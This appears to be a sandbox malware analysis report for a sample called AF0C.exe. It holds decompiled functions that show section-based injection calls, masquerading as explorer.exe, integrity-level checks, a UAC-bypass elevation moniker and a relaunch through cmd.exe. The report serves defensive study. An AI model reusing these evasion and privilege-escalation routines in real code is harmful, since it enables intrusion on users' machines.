Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 43%

			E00401925(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t13;
				intOrPtr* _t19;
				void* _t20;
				intOrPtr _t21;
				void* _t25;
				intOrPtr* _t26;

				_t28 = __eflags;
				_t20 = __ecx;
				_t24 = __eax;
				asm("a16 push 0xab");
				_push(0xab);
				_t21 =  *_t26;
				E0040119E(__esi, __ebx, __ecx, _t21, __edi, __eax, __eflags, __fp0);
				_t19 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t19); // executed
				_t13 = E00401419(_t19, __edi, _t24, _t28, __fp0); // executed
				_t29 = _t13;
				if(_t13 != 0) {
					E00401514(_t29, _t19, _t13,  *((intOrPtr*)(_t25 - 4)),  *((intOrPtr*)(_t25 + 0x14))); // executed
				}
				 *_t19();
				_t19 = _t19 + _t20;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 0000000A.00000002.366819076.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_eviivjg.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: fb6d829510aa024f80ad68b07e155414bf1d60313f026e30baced06c17c35cd9
Instruction ID: b0ff338450a25d5b6aa89585593cf6bc9af60e6e70e63708ff4a4873c551fa89
Opcode Fuzzy Hash: fb6d829510aa024f80ad68b07e155414bf1d60313f026e30baced06c17c35cd9
Instruction Fuzzy Hash: 36F04FB2308205EBEB019B95DC61ABA37299F45714F204533BA53790F6C63D8A13E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401934 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E00401934(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __fp0) {
				void* _t11;
				intOrPtr* _t17;
				void* _t18;
				intOrPtr _t19;
				void* _t22;
				intOrPtr* _t23;
				void* _t25;

				_t18 = __ecx;
				_t25 = __eax - 0x11efebd3;
				_push(0xab);
				_t19 =  *_t23;
				E0040119E(__eax, __ebx, __ecx, _t19, __edi, __esi, _t25, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E00401419(_t17, __edi, __esi, _t25, __fp0); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					E00401514(_t26, _t17, _t11,  *((intOrPtr*)(_t22 - 4)),  *((intOrPtr*)(_t22 + 0x14))); // executed
				}
				 *_t17();
				_t17 = _t17 + _t18;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 0000000A.00000002.366819076.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_eviivjg.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 5342b53e28553ac5f786c1fafb6bd434548c179d4d59d8b70bfb48ced3a581c6
Instruction ID: 9499ee2aead6bf7bd52ecc6e282b1c5f7567d2022060853a6c33904b9a08ada9
Opcode Fuzzy Hash: 5342b53e28553ac5f786c1fafb6bd434548c179d4d59d8b70bfb48ced3a581c6
Instruction Fuzzy Hash: A0F06DB2204205EAEB005A958C61ABE37289F44314F204133BA13B90F2C63D8612E76B

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AF0C.exePID: 5576, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	32.1%
Signature Coverage:	3.9%
Total number of Nodes:	305
Total number of Limit Nodes:	8

Executed Functions

Function 00409543 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78
memorylibrarynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00409543(void* __ecx) {
				intOrPtr _v8;
				long _v12;
				long _v16;
				short _v1056;
				long _t24;
				void* _t28;
				WCHAR* _t30;
				WCHAR* _t31;

				_v8 = E00407E0C();
				E0040335C(__ecx,  &_v1056, 0x410);
				_t24 = GetWindowsDirectoryW( &_v1056, 0x104);
				_v12 = _t24;
				if(_v12 != 0 && _v12 < 0x104) {
					E0040B160( &_v1056, "\\");
					E0040B160( &_v1056, L"explorer.exe");
					 *0x46c2d0 = 0;
					_v16 = 0x1000;
					_t24 = NtAllocateVirtualMemory(0xffffffff, 0x46c2d0, 0,  &_v16, 0x3000, 4); // executed
					if( *0x46c2d0 != 0) {
						_t28 =  *0x46c2d0; // 0x720000
						E00408BFE( &_v16, _t28,  &_v1056);
						_t13 = _v8 + 0x1c; // 0xdb51e8ec
						EnterCriticalSection( *_t13);
						_t30 =  *0x46c2d0; // 0x720000
						_t15 = _v8 + 0x10; // 0x1b8
						RtlInitUnicodeString( *_t15 + 0x38, _t30);
						_t31 =  *0x46c2d0; // 0x720000
						_t17 = _v8 + 0x10; // 0x1b8
						RtlInitUnicodeString( *_t17 + 0x40, _t31);
						_t19 = _v8 + 0x1c; // 0xdb51e8ec
						LeaveCriticalSection( *_t19);
						return  *0x46cfb0(0, E004050A2, _v8);
					}
				}
				return _t24;
			}

0x00409551
0x00409560
0x00409574
0x0040957a
0x00409581
0x004095a0
0x004095b4
0x004095bc
0x004095c6
0x004095e1
0x004095ee
0x004095fb
0x00409601
0x0040960c
0x00409610
0x00409616
0x0040961f
0x00409626
0x0040962c
0x00409635
0x0040963c
0x00409645
0x00409649
0x00000000
0x0040965a
0x004095ee
0x00409718

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409574
NtAllocateVirtualMemory.NTDLL(000000FF,0046C2D0,00000000,00001000,00003000,00000004), ref: 004095E1
EnterCriticalSection.KERNEL32(DB51E8EC), ref: 00409610
RtlInitUnicodeString.NTDLL(00000180,00720000), ref: 00409626
RtlInitUnicodeString.NTDLL(00000178,00720000), ref: 0040963C
LeaveCriticalSection.KERNEL32(DB51E8EC), ref: 00409649
LdrEnumerateLoadedModules.NTDLL(00000000,004050A2,00404393), ref: 0040965A

Strings

explorer.exe, xrefs: 004095A8

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: CriticalInitSectionStringUnicode$AllocateDirectoryEnterEnumerateLeaveLoadedMemoryModulesVirtualWindows
String ID: explorer.exe
API String ID: 3728205514-3187896405
Opcode ID: 971d90eb416ca67aafcaf3557b906dfb5bbb6d99924e81ee9f7e95ee9359d988
Instruction ID: d3c5517ac64ebe0f4a93bb8fcf9093c65cacff95b6910bca11f849b0b04bbd4d
Opcode Fuzzy Hash: 971d90eb416ca67aafcaf3557b906dfb5bbb6d99924e81ee9f7e95ee9359d988
Instruction Fuzzy Hash: 4F3195B5940208EBC704DF90DCC5FA97775AB48305F1081BAFA05672D1E7B8AE85CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040AEA4 Relevance: 3.0, APIs: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E0040AEA4(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				void* _t6;
				void* _t7;
				void* _t11;
				void* _t14;
				void* _t15;

				_t15 = __esi;
				_t14 = __edi;
				_t11 = __ebx;
				_push(__ecx);
				_v8 =  *[fs:0x30];
				E0040D1F6();
				_t13 = _v8;
				if( *((intOrPtr*)(_v8 + 0xa4)) > 5) {
					E00404369(__ebx, __edi, __esi); // executed
				}
				_t6 = E0040C13C(_t13);
				if(_t6 != 0) {
					_t7 = E00403AEE(_t13);
					__eflags = _t7;
					if(_t7 != 0) {
						E004043AD();
						__eflags = E00407D21(_t11, _t13, _t14, _t15);
						if(__eflags != 0) {
							Sleep(0x927c0);
							E004023F2(__eflags);
						}
						ExitProcess(0);
					}
					return _t7;
				} else {
					return _t6;
				}
			}

0x0040aea4
0x0040aea4
0x0040aea4
0x0040aea7
0x0040aeae
0x0040aeb1
0x0040aeb6
0x0040aec0
0x0040aec6
0x0040aec6
0x00401bd2
0x00401bd9
0x004044bc
0x004044c1
0x004044c3
0x0040a95e
0x0040a968
0x0040a96a
0x0040a975
0x0040a97b
0x0040a97b
0x00402b46
0x00402b46
0x00000000
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: Module$FileHandleInitializeLibraryLoadName
String ID:
API String ID: 1691763914-0
Opcode ID: 1d1e830cd534af54437783b51cc9c08bc841a27dcc6edcfaa80d65915427b13e
Instruction ID: b20ac1345fbffd2ee6b09d0fcfa97f88ae309217d757d61775f2d603f36cc11d
Opcode Fuzzy Hash: 1d1e830cd534af54437783b51cc9c08bc841a27dcc6edcfaa80d65915427b13e
Instruction Fuzzy Hash: 0BF0BE70608345D6C6047FB38E4672A76B8AF0030DF10407FFD02B62D2EA7E9A11559F

Uniqueness

Uniqueness Score: -1.00%

Function 00405C4C Relevance: 12.1, APIs: 8, Instructions: 78
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E00405C4C() {
				void** _v8;
				void* _v12;
				long _v16;
				long _v20;
				int _v24;
				int _t31;

				_v24 = 0;
				_v12 = 0;
				_v16 = 0;
				_v8 = 0;
				_v20 = 0;
				while(OpenProcessToken(0xffffffff, 8,  &_v12) != 0) {
					GetTokenInformation(_v12, 0x19, 0, 0,  &_v16); // executed
					_push(_v16);
					_v8 = LocalAlloc(0, ??);
					_t31 = GetTokenInformation(_v12, 0x19, _v8, _v16,  &_v16); // executed
					if(_t31 != 0) {
						_v20 =  *(GetSidSubAuthority( *_v8, ( *(GetSidSubAuthorityCount( *_v8)) & 0x000000ff) - 0x00000001 & 0x000000ff));
						_v24 = _v20;
						if(0 != 0) {
							continue;
						}
						L3:
						if(_v12 != 0) {
							FindCloseChangeNotification(_v12); // executed
						}
						if(_v8 != 0) {
							LocalFree(_v8);
						}
						return _v24;
					}
					goto L3;
				}
				goto L3;
			}

0x00405c52
0x00405c59
0x00405c60
0x00405c67
0x00405c6e
0x00409c8c
0x00407a5f
0x00407a68
0x00407a71
0x00407a86
0x00407a8e
0x00401060
0x00401066
0x0040106b
0x00000000
0x00000000
0x00401236
0x0040123a
0x00401244
0x00401244
0x00403bc9
0x00403bd3
0x00403bd3
0x00402955
0x00402955
0x00000000
0x00407a94
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
LocalFree.KERNEL32(00000000), ref: 00403BD3
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A5F
LocalAlloc.KERNEL32(00000000,00000000), ref: 00407A6B
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A86
OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: Token$InformationLocal$AllocChangeCloseFindFreeNotificationOpenProcess
String ID:
API String ID: 2854556994-0
Opcode ID: 2fabac034638274b2c3e67be2bc06953f5cdff95292f6c9f39c7e9c359d166b0
Instruction ID: 2e4b4cc31351ce880421fb230fd6ac05725b6f10eb8191371f756e524e2f733f
Opcode Fuzzy Hash: 2fabac034638274b2c3e67be2bc06953f5cdff95292f6c9f39c7e9c359d166b0
Instruction Fuzzy Hash: ED313CB4A04208FFDB14CFD4C948BAEBBF8AB48301F1081AAE511B72D4D774AB04DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00404369 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00404369(void* __ebx, void* __edi, void* __esi) {
				char _v528;
				char _v1052;
				short _v1576;
				void* _t14;
				void* _t15;
				void* _t16;
				void* _t24;

				GetModuleFileNameW(0,  &_v1576, 0x105);
				 *0x413084(0); // executed
				E00409543(_t24); // executed
				_t14 = E00405C4C(); // executed
				if(_t14 <= 0x2000) {
					_t15 = E00405C4C(); // executed
					if(_t15 >= 0x2000) {
						_t16 = E00405D04(__ebx, __edi, __esi,  &_v1576, 0); // executed
					} else {
						_t25 =  &_v528;
						E0040335C( &_v528,  &_v528, 0x20a);
						E00405312(L"%systemroot%\\system32\\cmd.exe",  &_v528, 0x104);
						E00408BFE(_t25,  &_v1052, L"/C ");
						E0040B160( &_v1052,  &_v1576);
						_t16 = E00405D04(__ebx, __edi, __esi,  &_v528,  &_v1052);
					}
					ExitProcess(0);
				} else {
					return 1;
				}
			}

0x00404380
0x00404388
0x0040438e
0x00404393
0x0040439d
0x004063d2
0x004063dc
0x00402608
0x004063e2
0x004063e7
0x004063ee
0x00406407
0x0040641b
0x00406431
0x00406447
0x0040644c
0x0040a945
0x004043a3
0x00000000
0x004043a3

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105), ref: 00404380
CoInitialize.OLE32(00000000), ref: 00404388

Part of subcall function 00409543: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409574
Part of subcall function 00409543: NtAllocateVirtualMemory.NTDLL(000000FF,0046C2D0,00000000,00001000,00003000,00000004), ref: 004095E1
Part of subcall function 00409543: EnterCriticalSection.KERNEL32(DB51E8EC), ref: 00409610
Part of subcall function 00409543: RtlInitUnicodeString.NTDLL(00000180,00720000), ref: 00409626
Part of subcall function 00409543: RtlInitUnicodeString.NTDLL(00000178,00720000), ref: 0040963C
Part of subcall function 00409543: LeaveCriticalSection.KERNEL32(DB51E8EC), ref: 00409649
Part of subcall function 00409543: LdrEnumerateLoadedModules.NTDLL(00000000,004050A2,00404393), ref: 0040965A

Part of subcall function 00405C4C: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
Part of subcall function 00405C4C: LocalFree.KERNEL32(00000000), ref: 00403BD3
Part of subcall function 00405C4C: OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

ExitProcess.KERNEL32 ref: 0040A945

Strings

%systemroot%\system32\cmd.exe, xrefs: 00406402
/C , xrefs: 0040640F

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: CriticalInitProcessSectionStringUnicode$AllocateChangeCloseDirectoryEnterEnumerateExitFileFindFreeInitializeLeaveLoadedLocalMemoryModuleModulesNameNotificationOpenTokenVirtualWindows
String ID: %systemroot%\system32\cmd.exe$/C
API String ID: 41577365-3057154508
Opcode ID: c5e22f618a67b604fe27e09ba26f5c85a86b36c7864aea17beee92a495aee461
Instruction ID: 7b01f62542bec0b1d87828faea97dd6a3c55c304531570e4c9315d46f9a50642
Opcode Fuzzy Hash: c5e22f618a67b604fe27e09ba26f5c85a86b36c7864aea17beee92a495aee461
Instruction Fuzzy Hash: 9411ABB290430866D710BB60EC47FDE73299B54705F0045BBB709B50C2ED7997D88EAE

Uniqueness

Uniqueness Score: -1.00%

Function 00407AB9 Relevance: 6.1, APIs: 4, Instructions: 59
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00407AB9(void* __eflags) {
				signed int _t62;
				signed int _t69;
				void* _t91;

				_push(ds);
				if(__eflags < 0) {
					while(1) {
						 *(_t91 - 4) = LocalAlloc(0, ??);
						_t62 = GetTokenInformation( *(_t91 - 8), 0x19,  *(_t91 - 4),  *(_t91 - 0xc), _t91 - 0xc); // executed
						__eflags = _t62;
						if(_t62 == 0) {
							break;
						}
						 *(_t91 - 0x10) =  *(GetSidSubAuthority( *( *(_t91 - 4)), ( *(GetSidSubAuthorityCount( *( *(_t91 - 4)))) & 0x000000ff) - 0x00000001 & 0x000000ff));
						 *(_t91 - 0x14) =  *(_t91 - 0x10);
						if(0 != 0) {
							_t69 = OpenProcessToken(0xffffffff, 8, _t91 - 8);
							__eflags = _t69;
							if(_t69 != 0) {
								GetTokenInformation( *(_t91 - 8), 0x19, 0, 0, _t91 - 0xc); // executed
								_push( *(_t91 - 0xc));
								continue;
							} else {
							}
						} else {
						}
						L3:
						if( *(_t91 - 8) != 0) {
							FindCloseChangeNotification( *(_t91 - 8)); // executed
						}
						if( *(_t91 - 4) != 0) {
							LocalFree( *(_t91 - 4));
						}
						return  *(_t91 - 0x14);
						goto L47;
					}
					goto L3;
				} else {
					_push(ss);
					while(1) {
						__eax =  *(__ebp - 0x10);
						 *(__ebp - 0x2c) =  *(__ebp - 0x10);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) - 1;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) - 1;
						__eflags =  *(__ebp - 0x2c);
						if( *(__ebp - 0x2c) <= 0) {
							break;
						}
						__ecx = __ebp - 0x88;
						__eax = E004055B9(__ebp - 0x88);
						 *(__ebp - 5) = __al;
						__edx =  *(__ebp - 0x18);
						__al =  *(__ebp - 5);
						 *( *(__ebp - 0x18)) = __al;
						 *(__ebp - 0x18) =  *(__ebp - 0x18) + 1;
						 *(__ebp - 0x18) =  *(__ebp - 0x18) + 1;
						__edx =  *(__ebp - 5) & 0x000000ff;
						__eflags = ( *(__ebp - 5) & 0x000000ff) - 0x7f;
						if(( *(__ebp - 5) & 0x000000ff) > 0x7f) {
							 *(__ebp - 0x28) =  *(__ebp - 0x28) + 1;
							 *(__ebp - 0x28) =  *(__ebp - 0x28) + 1;
						}
					}
					__eflags =  *(__ebp - 0x28);
					if( *(__ebp - 0x28) != 0) {
						__ecx = 1;
						__edx = 0;
						__eax =  *0x46c42c; // 0x0
						__ecx =  *__eax & 0x000000ff;
						__eflags = ( *__eax & 0x000000ff) - 0x4d;
						if(( *__eax & 0x000000ff) != 0x4d) {
							goto L9;
						} else {
							1 = 1 << 0;
							__eax =  *0x46c42c; // 0x0
							__ecx =  *(__eax + (1 << 0)) & 0x000000ff;
							__eflags = ( *(__eax + (1 << 0)) & 0x000000ff) - 0x5a;
							if(( *(__eax + (1 << 0)) & 0x000000ff) != 0x5a) {
								goto L9;
							} else {
								__eflags =  *0x46c420 - 2;
								if( *0x46c420 == 2) {
									goto L9;
								} else {
									__eax = 0;
								}
							}
						}
					} else {
						__eflags =  *0x46c420 - 1;
						if( *0x46c420 == 1) {
							L9:
							__edx =  *(__ebp - 0x18);
							 *0x46c430 =  *(__ebp - 0x18);
							while(1) {
								__eax =  *(__ebp - 4);
								 *(__ebp - 0x30) =  *(__ebp - 4);
								__ecx =  *(__ebp - 4);
								__ecx =  *(__ebp - 4) - 1;
								 *(__ebp - 4) = __ecx;
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) <= 0) {
									break;
								}
								__ecx = __ebp - 0x88;
								E004055B9(__ebp - 0x88) = E0040B8C1(__eax);
								__edx =  *0x46c330; // 0x0
								__edx = __edx & 0x0003ffff;
								__eflags = __edx;
								if(__edx == 0) {
									__eflags =  *0x46c420 - 1;
									if( *0x46c420 == 1) {
										__eflags =  *0x46c330 - 0x480000;
										if( *0x46c330 != 0x480000) {
											L44:
											__eflags =  *0x46c330 - 0x100000;
											if( *0x46c330 != 0x100000) {
												L34:
												__eflags =  *0x463778 - 0xe;
												if( *0x463778 == 0xe) {
													goto L40;
												}
											} else {
												__eflags =  *0x463778 - 0xf;
												if( *0x463778 == 0xf) {
													goto L40;
												} else {
													goto L34;
												}
											}
										} else {
											__eflags =  *0x463778 - 0x10;
											if( *0x463778 == 0x10) {
												L40:
												__eax =  *0x463778; // 0xe
												 *0x463778 = __eax;
												 *(__ebp - 0x14) = 0;
												while(1) {
													__eflags =  *(__ebp - 0x14) - 0x2800;
													if( *(__ebp - 0x14) >= 0x2800) {
														goto L43;
													}
													__edx =  *(__ebp - 0x14);
													__eax =  *0x46c35c; // 0x0
													__ecx =  *(__eax + __edx * 4);
													__ecx =  *(__eax + __edx * 4) << 1;
													__edx =  *(__ebp - 0x14);
													__eax =  *0x46c35c; // 0x0
													 *(__eax +  *(__ebp - 0x14) * 4) = __ecx;
													 *(__ebp - 0x14) =  *(__ebp - 0x14) + 1;
													 *(__ebp - 0x14) =  *(__ebp - 0x14) + 1;
												}
											} else {
												goto L44;
											}
										}
									}
								}
								L43:
							}
							__eax = E0040C187(__ecx);
							__ecx = __ebp - 0x3c;
							__eax = E0040DCF9(__ebp - 0x3c);
							__ecx =  *(__ebp - 0x34);
							__eax = E0040CE09( *(__ebp - 0x34), __eax);
							__eflags = __eax -  *((intOrPtr*)(__ebp - 0xc));
							if(__eax ==  *((intOrPtr*)(__ebp - 0xc))) {
								__ecx = __ebp - 0x3c;
								__eax = E0040DCF9(__ebp - 0x3c);
								__edx =  *(__ebp + 0x10);
								 *( *(__ebp + 0x10)) = __eax;
								__eax =  *(__ebp - 0x34);
							} else {
								__eax = 0;
							}
						} else {
							__eax = 0;
						}
					}
					__esp = __ebp;
					_pop(__ebp);
					return __eax;
				}
				L47:
			}

0x00407abb
0x00407abc
0x00407a69
0x00407a71
0x00407a86
0x00407a8c
0x00407a8e
0x00000000
0x00000000
0x00401060
0x00401066
0x0040106b
0x00409c94
0x00409c9a
0x00409c9c
0x00407a5f
0x00407a68
0x00000000
0x00000000
0x00409ca2
0x00000000
0x00401071
0x00401236
0x0040123a
0x00401244
0x00401244
0x00403bc9
0x00403bd3
0x00403bd3
0x00402955
0x00000000
0x00402955
0x00000000
0x00407abe
0x00407abe
0x00407abf
0x00407abf
0x00407ac2
0x00407ac8
0x00407acb
0x00407ace
0x00407ad2
0x00000000
0x00000000
0x00407ad8
0x00407ade
0x00407ae3
0x00407ae6
0x00407ae9
0x00407aec
0x00407af1
0x00407af4
0x00407af7
0x00407afb
0x00407afe
0x00407b07
0x00407b0a
0x00407b0a
0x004059ea
0x00408020
0x00408024
0x00401ea5
0x00401eaa
0x00401ead
0x00401eb2
0x00401eb6
0x00401eb9
0x00000000
0x00401ebf
0x00401ec4
0x00401ec7
0x00401ecc
0x00401ed0
0x00401ed3
0x00000000
0x00401ed9
0x00401ed9
0x00401ee0
0x00000000
0x00401ee6
0x00401ee6
0x00401ee6
0x00401ee0
0x00401ed3
0x0040802a
0x0040802a
0x00408031
0x00402035
0x00402035
0x00402038
0x004045e8
0x004045e8
0x004045eb
0x004045ee
0x004045f1
0x004045f4
0x004045f7
0x004045fb
0x00000000
0x00000000
0x00404601
0x0040460d
0x00404615
0x0040461b
0x0040461b
0x00404621
0x00404627
0x0040462e
0x00404634
0x0040463e
0x0040cc1b
0x0040cc1b
0x0040cc25
0x0040997f
0x0040997f
0x00409986
0x00000000
0x0040998c
0x0040cc2b
0x0040cc2b
0x0040cc32
0x00000000
0x0040cc38
0x00000000
0x0040cc38
0x0040cc32
0x00404644
0x00404644
0x0040464b
0x00409ca7
0x00409ca7
0x00409caf
0x00409cb4
0x0040a391
0x0040a391
0x0040a398
0x00000000
0x00000000
0x0040a39e
0x0040a3a1
0x0040a3a6
0x0040a3a9
0x0040a3ab
0x0040a3ae
0x0040a3b3
0x00405c82
0x00405c85
0x00405c85
0x00404651
0x00000000
0x00404651
0x0040464b
0x0040463e
0x0040462e
0x0040b344
0x0040b344
0x00409bce
0x00409bd3
0x00409bd6
0x00409bdc
0x00409be0
0x00409be8
0x00409beb
0x004024fe
0x00402501
0x00402506
0x00402509
0x0040250b
0x00409bf1
0x00409bf1
0x00409bf1
0x00408037
0x00408037
0x00408037
0x00408031
0x00403d6f
0x00403d71
0x00403d72
0x00403d72
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
LocalFree.KERNEL32(00000000), ref: 00403BD3
LocalAlloc.KERNEL32(00000000,00000000), ref: 00407A6B
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A86

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: Local$AllocChangeCloseFindFreeInformationNotificationToken
String ID:
API String ID: 2094194634-0
Opcode ID: dfd389ba0a6e21506ee3ce54b84a7e53c4fc79e48b909ed38b184a154f02c170
Instruction ID: 8c14f008afbfcab52b1f24e0be9b5b67c8a06fc3440972dff98bedf792b56cd5
Opcode Fuzzy Hash: dfd389ba0a6e21506ee3ce54b84a7e53c4fc79e48b909ed38b184a154f02c170
Instruction Fuzzy Hash: 2E215E74D04208EFCB04CFE4C959AEEBBB5AB08305F1480AAE505B7394C7746B40DF29

Uniqueness

Uniqueness Score: -1.00%

Function 00409727 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00409727(void* __ecx, signed int* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v24;
				char _v44;
				char _v564;
				signed char _t19;
				void* _t27;
				signed int* _t34;

				_t34 = __edx;
				_v8 = 0x80004005;
				if(_a4 == 0) {
					return _v8;
				}
				_t19 = E00405C31(__ecx, _a4);
				if(_t19 <= 0x40) {
					 *_t34 =  *_t34 | _t19;
					 *_t19 =  *_t19 + _t19;
					E0040335C( &_v564);
					E00408BFE( &_v564,  &_v564, L"Elevation:Administrator!new:");
					E0040B160( &_v564, _a4);
					E0040335C( &_v564,  &_v44, 0x24);
					_v44 = 0x24;
					_v24 = _a8;
					_t27 =  *0x413080( &_v564,  &_v44, _a12, _a16,  &_v564, 0x208); // executed
					return _t27;
				}
				return _v8;
			}

0x00409727
0x00409730
0x0040973b
0x00000000
0x00409741
0x0040210a
0x00402115
0x0040d183
0x0040d185
0x0040d18e
0x0040d1a2
0x0040d1b5
0x0040d1c3
0x0040d1cb
0x0040d1d5
0x0040d1eb
0x00000000
0x0040d1eb
0x00000000

Strings

Elevation:Administrator!new:, xrefs: 0040D196
$, xrefs: 0040D1CB

Memory Dump Source

